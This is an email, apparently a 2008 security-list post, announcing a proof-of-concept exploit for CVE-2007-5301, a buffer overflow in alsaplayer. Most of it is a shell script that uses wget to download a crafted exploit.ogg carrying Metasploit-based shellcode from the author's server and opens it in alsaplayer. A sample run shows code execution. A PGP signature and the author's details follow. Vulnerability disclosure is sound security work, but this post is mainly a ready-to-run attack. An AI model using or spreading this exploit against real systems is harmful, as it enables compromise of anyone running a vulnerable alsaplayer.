--=-ZqOBVqsYuekWYMws/h0k
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: quoted-printable

Hello,

I have released this PoC for the alsaplayer bug CVE-2007-5301.

You can find all the needed files at http://www.wekk.net/research/CVE-2007-=
5301/

#!/bin/sh
#
# http://www.wekk.net/research/CVE-200...301-exploit.sh
#
# Exploit for alsaplayer before 0.99.80-rc3. Tested with the debian etch pa=
ckage=20
# alsaplayer-common at version 0.99.76-9
#
# CVE-2007-5301 / DSA-1538
#=20
# by Albert Sellar=C3=A8s <whats[at]wekk[dot]net> - http://www.wekk.net
# 2008-04-09
#
# Shellcode is based on metasploit framework. If you want to test it in oth=
er=20
# systems, maybe you have to recalculate offsets.
#
# Example:
#=20
# whats@debian:~$ ./CVE-2007-5301-exploit.sh
# Alsaplayer buffer overflow < 0.99.80-rc3
# by Albert Sellar=C3=A8s <whats[at]wekk[dot]net> - http://www.wekk.net
#
#
# --12:19:27-- http://www.wekk.net/research/CVE-2007-5301/exploit.ogg
# =3D> `exploit.ogg'
# Resolving www.wekk.net... 64.22.71.90
# Connecting to www.wekk.net|64.22.71.90|:80... connected.
# HTTP request sent, awaiting response... 200 OK
# Length: 5,421 (5.3K) [application/ogg]
#=20
# 100%[=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D>] 5,421=20
# 12:19:28 (37.00 KB/s) - `exploit.ogg' saved [5421/5421]
# uid=3D1000(whats) gid=3D1000(whats) groups=3D20(dialout),24(cdrom),25(flo=
ppy),29(audio),44(video),46(plugdev),1000(whats)
#

echo -e "Alsaplayer buffer overflow < 0.99.80-rc3"
echo -e "by Albert Sellar=C3=A8s <whats[at]wekk[dot]net> - http://www.wekk.=
net\n\n"
wget http://www.wekk.net/research/CVE-2007-5301/exploit.ogg
alsaplayer exploit.ogg



--=20
Albert Sellar=C3=A8s GPG id: 0x13053FFE
http://www.wekk.net whats_up@jabber.org=20
Membre de Catux.org http://catux.org =20
Linux User: 324456 Catalunya =20


--=-ZqOBVqsYuekWYMws/h0k
Content-Type: application/pgp-signature; name=signature.asc
Content-Description: =?ISO-8859-1?Q?Aix=F2?= =?ISO-8859-1?Q?_=E9s?= una part
d'un missatge, signada digitalment

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.7 (GNU/Linux)

iD8DBQBH/QnDK3eYPRMFP/4RAjxqAJ9wNRzc6HNQ4PWPtD4mIC+TJsNeXQCdGps/
djfy40vEb+X+24B6wUEecyM=
=7CDF
-----END PGP SIGNATURE-----

--=-ZqOBVqsYuekWYMws/h0k--